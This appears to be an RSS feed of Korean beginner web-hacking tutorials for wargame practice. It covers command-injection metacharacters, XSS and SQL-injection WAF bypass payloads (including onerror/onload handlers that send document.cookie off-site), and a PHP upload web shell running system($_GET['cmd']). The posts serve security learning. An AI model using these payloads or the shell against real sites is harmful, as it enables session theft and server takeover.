<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRy_zDbqSjfmh8AHdOxRT7C6tbNDhKHZdjwtM_f5zD_zjNQkCOY0ojYW3KB&s=10" width="300" height="200" alt="완벽히 이해한 청년." >
  </div>

<h2 id="메타문자">메타문자</h2>
<p>메타문자(Metacharacter)란, OS의 cmd나 셸에서 단순한 글자가 아니라, 특별한 기능이나 의미를 갖도록 미리 약속된 특수문자를 말합니다</p>
<p>특히 cmd injection에서는 해커가 이 메타문자를 주입하여, 개발자가 의도한 원래 명령어의 흐름을 끊고 자신이 원하는 추가 명령어를 실행시키면서 발생합니다.</p>
<h3 id="1-명령어-연속-실행-및-조건부-실행">1. 명령어 연속 실행 및 조건부 실행</h3>
<p>; (세미콜론 - 주로 Linux) : 앞의 명령어의 성공 여부와 상관없이 뒤의 명령어를 무조건 실행합니다</p>
<p>ping 8.8.8.8 ; whoami</p>
<p>&amp; (앰퍼샌드 - Windows/Linux 공통) : 앞의 명령어를 백그라운드에서 실행하거나, Windows에서는 단순히 두 명령어를 이어 붙여 실행합니다</p>
<p>ping 8.8.8.8 &amp; dir ($\rightarrow$ ping과 dir을 연달아 실행)</p>
<p>&amp;&amp; (더블 앰퍼샌드) : 앞의 명령어가 성공해야만 뒤의 명령어를 실행합니다.</p>
<p>|| (더블 파이프) : 앞의 명령어가 실패해야만 뒤의 명령어를 실행합니다.</p>
<h3 id="2-파이프와-리다이렉션">2. 파이프와 리다이렉션</h3>
<p>| (파이프) : 앞 명령어의 실행 &#39;결과(출력)&#39;를 뒤 명령어의 &#39;입력&#39;으로 전달합니다.</p>
<p>cat secrets.txt | grep &quot;password&quot; : 명령어의 결과를 화면이 아닌 파일로 저장합니다. (&gt;는 덮어쓰기, &gt;&gt;는 이어쓰기)</p>
<p>echo &quot;Hacked&quot; &gt; index.html</p>
<h3 id="3-기타">3. 기타</h3>
<p>\n (줄바꿈) : 엔터 키를 친 것과 같은 효과를 줍니다. 눈에 보이지 않는 공백 같지만 시스템은 다음 줄의 명령어로 인식합니다.</p>
<p>` (백틱) : 괄호 안의 명령어를 가장 먼저 실행하고, 그 결과값을 바깥 명령어의 인자로 주입합니다.</p>
<p>이제 기초 여기까지고 좀 더 심화있게 가봅시다</p>
<p>...막상 드립 좀 치려니까 드립 칠 곳이 없었습니다 죄송합니다.
반성하는 의미로 여기에 짤 모음집을 싸지르겠습니다.
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTEzTYXVJMejWw3q1zMx_753qzOfeG6DB3gJSzzyRx1zC1inrJ03yur1hI&s=10" width="300" height="200" alt="전장연 히마리" ><img src="https://i.redd.it/3wqlg0stbe061.jpg" width="300" height="200" alt="니게룽 죠니" ><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT2BW63pP7up_F_rihNRQCmvCEcIbs3Uw1xAGATHJHP7g&s=10" width="300" height="200" alt="ezstand 폴나레프" ></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[XSS WAF]]></title>
            <link>https://velog.io/@coding_pineapple/XSS-WAF</link>
            <guid>https://velog.io/@coding_pineapple/XSS-WAF</guid>
            <pubDate>Tue, 09 Jun 2026 09:27:49 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까
코딩사과의 짭 코딩 파인애플입니다
이번에는 XSS WAF에 관해 알아보겠습니다.</p>
<h2 id="xss-waf">XSS WAF</h2>
<p>말 그대로 XSS WAF는 공격을 막아주는 웹 방화벽을 의미합니다</p>
<p>보편적으로 패턴 매칭이라는 정적인 방법을 통해 거릅니다
예, 쉽게말해서 그냥 블랙리스트를 따로 만드는 겁니다.</p>
<pre><code>keywords = [&#39;Kilroy&#39;, &#39;was&#39;, &#39;here&#39;, &#39;and&#39;, &#39;or&#39;]</code></pre><p>이런 식으로 따로 블랙리스트를 만들어 만일 사용자가 악의적인 스크립트를 집어넣게 된다면 필터링에 걸려서 방지하는 겁니다.</p>
<p>하지만 블랙리스트를 만들어도 특정한 방법을 통한 쌀먹도 가능합니다<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTYsIq2fZsA-JBJB-HD1b3EZyDCidx8UDgz6k6FP6q05g&s=10g" width="200" alt="살숭이"><div style="text-align: center;"><p><del>우우우 쌀쌀쌀</del></p></div></p>
<h3 id="대소문자-및-태그-변형">대소문자 및 태그 변형</h3>
<p>가장 고전적이지만, 미흡하게 설정된 WAF의 필터링을 무력화할 때 사용합니다 </p>
<p><strong><font color="red">대</font><font color="orange">소</font><font color="yellow">문</font><font color="green">자</font><font color="blue"> </font><font color="indigo">혼</font><font color="violet">용</font></strong></p>
<pre><code>&lt;ScRiPt&gt;alert(1)&lt;/sCrIpT&gt;</code></pre><p><strong>재귀적 키워드 구성을 이용한 우회</strong>
SQLI WAF 처럼 단순히 그 단어를 공백이나 빈 문자(&quot;&quot;)로 치환하는 취약한 로직을 가질 경우 사용합니다</p>
<pre><code>&lt;scr&lt;script&gt;ipt&gt;alert(1)&lt;/script&gt;</code></pre><p>이 경우에서도 중간에 script를 인식해 지워버릴지언정 그 사이 &lt;scr과 ipt&gt;가 붙어 하나의 script문으로 정상 작동합니다.</p>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTIKY231s2t1LkWNPdTOnMgAG8UJMPoQkuQWTvmN5WHgg&s=10" width="200" alt="살숭이">

<p>+[Tab]키를 통해서도 우회가 가능합니다</p>
<pre><code>&lt;scr    ipt&gt;alert(1)&lt;/scr    ipt&gt;</code></pre><h3 id="대체-태그-및-이벤트-핸들러-활용">대체 태그 및 이벤트 핸들러 활용</h3>
<p>대부분의 많은 waf가 script만 집중적으로 막는데 script문 없이도 가능합니다</p>
<p><strong>이미지 및 미디어 태그 오동작 유도</strong></p>
<pre><code>&lt;img src=x onerror=document.location.href=&quot;...&quot;+document.cookie&gt;
&lt;video src=x onerror=document.location.href=&quot;...&quot;+document.cookie;&gt;</code></pre><p>이렇게 존재하지 않는 경로를 지정해 일부러 에러를 내고 onerror를 실행시킵니다<img src="https://velog.velcdn.com/images/coding_pineapple/post/15c6b750-088a-4d26-a521-301cf792a802/image.png" alt=""></p>
<p><strong>SVG 태그 활용</strong></p>
<pre><code>&lt;svg onload=document.location.href=&quot;...&quot;+document.cookie&gt;</code></pre><p>화면이 열리자마자 바로 자바스크립트를 실행시킵니다</p>
<h3 id="자바스크립트-문법-난독화">자바스크립트 문법 난독화</h3>
<p>WAF가 alert, document 같은 주요 키워드를 탐지할 때, 자바스크립트의 유연한 문법을 활용해 단어를 쪼개거나 다른 방식으로 호출합니다.</p>
<p><strong>대괄호 표기법</strong></p>
<pre><code>window[&#39;al&#39;+&#39;ert&#39;](1);
window[&#39;eval&#39;](&#39;al&#39;+&#39;ert(1)&#39;);
// eval : 문자열을 인자로 받아 그 문자열을 실제 실행 가능한 코드로 반환하는 함수 워게임에 자주 나옵니다</code></pre><p>객체의 속성에 접근할 때 점(.) 대신 문자열 연산(+)이 가능한 대괄호를 씁니다</p>
<p>+만일 window까지 막은 경우에는 window에 접근 가능한 객체를 이용합니다</p>
<pre><code>self.alert(1)

top.alert(1)

parent.alert(1)</code></pre><p><strong>동적 함수 생성</strong></p>
<pre><code>Function(&#39;al&#39;+&#39;ert(1)&#39;)();</code></pre><p>eval마저 막혔을 때 (<del>X발</del>) 함수 생성자를 이용해 문자열을 실행 가능한 코드로 만듭니다.</p>
<h3 id="문자-인코딩을-통한-우회">문자 인코딩을 통한 우회</h3>
<p>서버가 디코딩되는 과정의 허점을 이용한 우회 기법입니다</p>
<p><strong>HTML Entity Encoding</strong>
많은 WAF는 &lt;나 &gt;를 그대로 찾는 경우가 많은데 이때, HTML Entity를 사용하면 우회되는 경우가 있습니다</p>
<pre><code>&amp;#60;script&amp;#62;alert(1)&amp;#60;/script&amp;#62;
//혹은
&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;</code></pre><p>이렇게 하면 브라우저는 이를 &quot;&lt;script&gt;&quot;로 받아들입니다.</p>
<p><strong>Unicode Encoding</strong>
Javascript는 Unicode Escape를 지원합니다 즉,</p>
<pre><code>\u0061\u006c\u0065\u0072\u0074(1)</code></pre><p>이 썅1태로 난 코드가 alert(1)로 해석된다는 것이죠.</p>
<p><strong>Hex Encoding</strong>
이 또한 가능합니다</p>
<pre><code>\x61\x6c\x65\x72\x74(1)</code></pre><p>alert(1)</p>
<p>+백틱을 이용해 우회할 수 있습니다 이 경우 괄호를 막은 경우에만 유효합니다</p>
<pre><code>alert`1`</code></pre><img src="https://yt3.ggpht.com/6INJCaSjNcFD1OE9Zp5emjJZy2mTh7NdiNpqmiDTncS7oUCk_I-th2QHNiDhFXyu2KuQaU1g2T7X1w=s736-c-fcrop64=1,00002775ffffd88a-rw-nd-v1" width="200" alt="살숭이">


<p>이 외에도 더 많은 XSS WAF 우회가 있기에 이 글은 앞으로도 업데이트될 예정입니다.</p>
<p>이상으로 글을 마치겠습니다 행복한 하루 되시길 바랍니다.</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/26cd3a93-a1c3-425c-95f8-0aac5f411c5e/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[FILE UPLOAD INJECTION 개요]]></title>
            <link>https://velog.io/@coding_pineapple/FILE-UPLOAD-INJECTION-%EA%B0%9C%EC%9A%94</link>
            <guid>https://velog.io/@coding_pineapple/FILE-UPLOAD-INJECTION-%EA%B0%9C%EC%9A%94</guid>
            <pubDate>Mon, 08 Jun 2026 12:02:20 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까
코딩사과의 짭 코딩 파인애플입니다
이번 네 번째 글은 File upload injection에 관해 알아보겠습니다.</p>
<h1 id="file-upload-injection이란">FILE UPLOAD INJECTION이란?</h1>
<p>File upload injection (File을 주입하다) 는 해커 업로드할 수 있는 기능을 악용하여 <strong>서버에 악성 파일을 업로드하는 공격 기법</strong>을 말합니다</p>
<p>예를 들어 보안이 너무나 이상적인 사이트가 있다고 해봅시다</p>
<div style="text-align: center;">
  <p>일반 사용자는 다음과 같은 이미지를 업로드를 하겠지만...</p>
</div>

<pre><code>크아악..!.jpg
롤랑..!.png</code></pre><div style="text-align: center;">
  <p>이상적인 해커는 다음과 같은 이미지를 업로드를 합니다</p>
</div>

<pre><code>크아악..!.php
롤랑..!.jsp
이%20새123기가..!.asp</code></pre><p>이때 안에 들어있는 파일의 내용 중 악성코드가 포함되어 있으면 서버는 그걸 곧이곧대로 실행하게 되고 서버는 멘탈이 완전히 나가버립니다.
<img src="https://i.namu.wiki/i/Ru_95Fih1IDbsSxVvcSy9DMoU6k-qZWEusPTVLLYzWnkb4M53H7jTdQY3Un4Lxq7ng2I0g7WRki60FH2a3QrMw.webp" width="300" alt="흐트러짐 시밤쾅">여기서 쓰이는 확장자의 경우 대부분의 워게임 사이트는 .php을 쓰지만 특정 사이트는 파이썬이나 jsp,js등을 쓰기도 합니다</p>
<p>참고로 앞으로 서술하게 될 File injection 관련 게시물들은 <strong>php파일을 기준</strong>으로 설명할 예정이니 유의하시길 바랍니다.</p>
<h2 id="간단한-php">간단한 php</h2>
<p>제가 워게임할 때 이용하는 php파일의 구조는 이런 형태입니다</p>
<pre><code>&lt;?php 
//&lt;?php와 ?&gt;의 경우 php파일을 실행시키기 위한 구문. 뭐, C언어의 중괄호 느낌?
//system 함수는 system 안에 들어있는 명령어(리눅스)를 실행시키겠다는 뜻.
    system(&#39;리눅스 명령어&#39;);
?&gt;</code></pre><p>system안에 파일을 읽을 때 간단하게 <strong>&quot;cat ./파일명&quot;</strong> 을 넣거나 혹은 cmd를 실행시키기 위해 <strong>&quot;$_GET[&#39;cmd&#39;]&quot;</strong> 을 넣기도 합니다</p>
<p>만일 작성에 성공했다?</p>
<p>그러면 해당 홈페이지의 url에 다음과 같은 형태로 찾을 수 있습니다
<img src="https://velog.velcdn.com/images/coding_pineapple/post/77c6878f-60a0-4051-9159-6773e9759068/image.png" alt="">./uploads/<strong>파일명.php</strong></p>
<p>만일 cmd를 실행시킬려면<img src="https://velog.velcdn.com/images/coding_pineapple/post/9cee8124-6dcb-40f1-8686-73b00423d59d/image.png" alt="">./uploads/<strong>파일명.php?cmd=&#39;리눅스 명령어 입력&#39;</strong></p>
<p>더 딮♂다크하게 들어가서 특정 파일을 찾고 싶다면 요딴</p>
<p><strong>파일명.php?cmd=&#39;find -name 파일이름같은거&#39;</strong> 를 넣어
경로를 찾을 수 있습니다 (find 명령어의 와일드 카드 사용 가능.)</p>
<p>이제 기초 여기까지이고 좀 더 심화있게 가봅시다.
<img src="https://velog.velcdn.com/images/coding_pineapple/post/43fe95a6-29b5-41c8-99e2-ef8924d68dc4/image.png" alt="">라뫼차 랜드 가기 : <a href="https://www.youtube.com/watch?v=EkRilpqXkYk">https://www.youtube.com/watch?v=EkRilpqXkYk</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[XSS 개요]]></title>
            <link>https://velog.io/@coding_pineapple/XSS-%EA%B0%9C%EC%9A%94</link>
            <guid>https://velog.io/@coding_pineapple/XSS-%EA%B0%9C%EC%9A%94</guid>
            <pubDate>Fri, 05 Jun 2026 05:21:02 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 XSS에 관해 알아보겠습니다.</p>
<h1 id="xss이란">XSS이란?</h1>
<p>XSS (Cross Site Scripting) 은 공격자가 취약한 웹사이트에 악성 자바스크립트 코드를 삽입하는 공격 기법입니다</p>
<p>만일 피해자가 해당 웹사이트에 방문하게 된다면 악성 스크립트 코드가 실행되어 쿠키나 세션 탈취 등의 피해가 발생됩니다</p>
<p><em>??? : 잠깐 Cross Site Scripting 이라면서 약자가 왜 XSS인?</em></p>
<p>뭐, 정석대로라면 CSS가 옳지만 이미 <a href="https://namu.wiki/w/CSS" target="_blank">CSS</a>라는 스타일시트 언어가 있기에 XSS라고 합니다 <del>(Cross Site Scripting라 쓰고 XSS라 읽는다)</del><img src="https://velog.velcdn.com/images/coding_pineapple/post/4c81cb3d-54a2-4ab6-8d51-3673bbe5ad92/image.png" alt=""></p>
<pre><code>&lt;?php
// 사용자가 URL 파라미터나 폼을 통해 &#39;again&#39; 값을 전달했다고 가정합니다.

$again = $_GET[&#39;name&#39;]; 
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;ah_shit&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;here we go&lt;?php echo $again; ?&gt;&lt;/h1&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre><p>앞서 위 코드는 XSS공격에 취약한 공격입니다</p>
<p>만일 일반 사용자가 평범하게 &#39;again&#39; 값을 넣으면 이렇게 됩니다</p>
<pre><code>&lt;h1&gt;here we go again&lt;/h1&gt;</code></pre><p>하지만 악성 사용자가 다음과 같은 XSS공격을 시도하면 코드가 맛이 갑니다</p>
<pre><code>&lt;h1&gt;here we go
&lt;script&gt;alert(&#39;유치원생한테 다털렸죠&#39;);&lt;/script&gt;
&lt;/h1&gt;</code></pre><p>여기서 script 태그의 alert() 함수로 인해 위에 &#39;유치원생한테 다털렸죠&#39; 알림이 뜹니다.<img src="https://velog.velcdn.com/images/coding_pineapple/post/b951c72f-0725-4a09-819d-8bd78d0c3f11/image.png" alt="">이것도 SQL INJECTION과 비슷하게 /h1태그가 나오기도 전에
<strong>먼저 선수를 치는 공격</strong>이라고 보시면 편합니다</p>
<p>이상으로 글을 마치겠습니다 감사합니다</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/c7f85274-59b7-4e21-8223-37864e8d1749/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[SQL INJECITON WAF]]></title>
            <link>https://velog.io/@coding_pineapple/SQL-INJECITON-WAF</link>
            <guid>https://velog.io/@coding_pineapple/SQL-INJECITON-WAF</guid>
            <pubDate>Thu, 04 Jun 2026 09:04:33 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 SQL INJECTION WAF에 관해 알아보겠습니다.</p>
<h2 id="sql-injection-waf">SQL INJECTION WAF</h2>
<p>SQLi WAF는 SQL Injection(SQL 인젝션) 
공격을 막아주는 웹 방화벽을 의미합니다.</p>
<p>SQLi: SQL Injection (데이터베이스를 공격하는 기법)
WAF: Web Application Firewall (웹 애플리케이션 방화벽)
<img src="https://velog.velcdn.com/images/coding_pineapple/post/4b8cc8f1-8170-483e-bae1-7000c5b675bb/image.png" alt="">보편적으로 <strong>패턴 매칭</strong>이라는 정적인 방법을 통해 거릅니다
예, 쉽게말해서 그냥 블랙리스트를  따로 만드는 겁니다.</p>
<pre><code>keywords = [&#39;Kilroy&#39;, &#39;was&#39;, &#39;here&#39;, &#39;and&#39;, &#39;or&#39;]</code></pre><p>이런 식으로 따로 블랙리스트를 만들어 만일 사용자가 악의적인  쿼리문을 집어넣게 된다면 필터링에 걸려서 방지하는 겁니다.</p>
<p>하지만 블랙리스트를 만들어도 특정한 방법을 통한 쌀먹도 가능합니다
<img src="https://velog.velcdn.com/images/coding_pineapple/post/dd02e406-30ed-4aa3-a276-95c3a4977893/image.png" alt=""><p style="text-align: center;"><del>우우우 쌀쌀쌀</del></p></p>
<h3 id="키워드-필터링-우회">키워드 필터링 우회</h3>
<p>특정한 키워드 필터링을 우회할 때 쓰입니다
예를 들어 &#39;UNION&#39;,&#39;SELECT&#39;,&#39;OR&#39; 따위 등이 필터링 된다면</p>
<p>그냥 <strong>&#39;uNiOn&#39;</strong>이나 <strong>&#39;SelEcT&#39;, &#39;oR&#39;</strong> 이딴 것들로 <strong>대소문자를 구분하지 않는 특성</strong>을 이용해 우회가 가능합니다</p>
<p>헌데 만일 .lower나 .upper가 있다면 그냥 대/소문자 중 하나로 완전히 퉁치겠다는 뜻이니 씨알도 안먹힙니다.</p>
<p>&#39;or&#39; 이나 &#39;and&#39;의 경우
or은 <strong>파이프 두 개 (||)</strong> , and는 <strong>앰퍼샌드 두 개 (&amp;&amp;)</strong> 로 대체가 가능합니다.</p>
<p>그 외에도 &#39;=&#39;가 차단된다면
&#39;=&#39;은 <strong>a like b</strong> 등의 like함수를 혹은 <strong>a in (&#39;b&#39;)의 i</strong>n 함수
쓰면 됩니다.</p>
<p>마지막으로 <strong>concat 함수</strong>를 통해서도 우회가 가능합니다
SELECT password... $\rightarrow$ SELECT CONCAT(&#39;pass&#39;, &#39;word&#39;)...</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/54cae6f5-0129-43aa-8076-08675c159055/image.png" width=30%></p>

<h3 id="공백-및-특수문자-필터링-우회">공백 및 특수문자 필터링 우회</h3>
<p>말 그대로 공백 (&#39; &#39;)이 우회될 때 쓰입니다</p>
<p><strong>주석</strong>을 이용해서 단어를 쪼개거나 
UNION SELECT $\rightarrow$ UNION//SELECT
UNION SELECT $\rightarrow$ UNION/**/SELECT</p>
<p><strong>괄호를 활용</strong>해서 같은 의미의 문장을 만들거나
SELECT column FROM table $\rightarrow$ SELECT(column)FROM(table)</p>
<p>공백 대체 문자를 사용하면 됩니다
주로 <strong>탭(%09), 줄바꿈(%0a), 캐리지 리턴(%0d), 혹은 더하기 기호(+)</strong>를 사용해 공백이 필요한 사이사이에 낉이면 됩니다.
<img src="https://velog.velcdn.com/images/coding_pineapple/post/9d31e314-6b21-4dd1-aa5b-1f3a388c89d7/image.png" alt=""></p>
<h3 id="문자-인코딩을-통한-우회">문자 인코딩을 통한 우회</h3>
<p>문자를 인코딩해서 우회합니다</p>
<p>문자나 키워드를 <strong>%HEX</strong> 형태로 변환하거나
&#39; OR 1=1 -- $\rightarrow$ %27%20OR%201%3D1%20--</p>
<p><strong>유니코드 및 다중 바이트 인코딩</strong>을 통해서 변환합니다
s $\rightarrow$ %u0073, e $\rightarrow$ %u0065
SELECT $\rightarrow$ %u0073%u0065%u006c%u0065%u0063%u0074</p>
<p>+만일 참값 (1=1) 이 막힌다면 True나 2-1, 0+1을 써보시길 바랍니다 mysql 내부적으로는 1=True 로 취급되기에 가능합니다</p>
<h3 id="재귀적-키워드-구성을-이용한-우회">재귀적 키워드 구성을 이용한 우회</h3>
<p>만일 WAF가 특정 키워드를 탐지했을 때, 단순히 그 단어를 공백이나 빈 문자(&quot;&quot;)로 치환하는 취약한 로직을 가졌을 경우 사용하는데</p>
<p><strong>SELSELECTECT</strong> $\rightarrow$ 중간 SELECT가 치환 양옆의 SEL+ECT가 붙어 SELECT가 됨.
<strong>UNIUNIONON, anandd, oandr</strong> 이런 식으로 우회가 가능합니다.</p>
<br>

<p>이 외에도 더 많은 SQLI WAF 우회가 있기에 이 글은 앞으로도 업데이트될 예정입니다.</p>
<p>한번 배웠던 내용을 실습해봅시다</p>
<ul>
<li><a href="https://dreamhack.io/wargame/challenges/415">https://dreamhack.io/wargame/challenges/415</a></li>
<li><a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ&list=RDdQw4w9WgXcQ&start_radio=1">https://dreamhack.io/wargame/challenges/6767</a></li>
<li><a href="https://dreamhack.io/wargame/challenges/416">https://dreamhack.io/wargame/challenges/416</a></li>
</ul>
<p>이상으로 글을 마치겠습니다 감사합니다
<img src="https://velog.velcdn.com/images/coding_pineapple/post/d8bfff33-3bcc-47a4-b013-ccd035b1013f/image.gif" alt=""></p>
]]></description>
        </item>
    </channel>
</rss>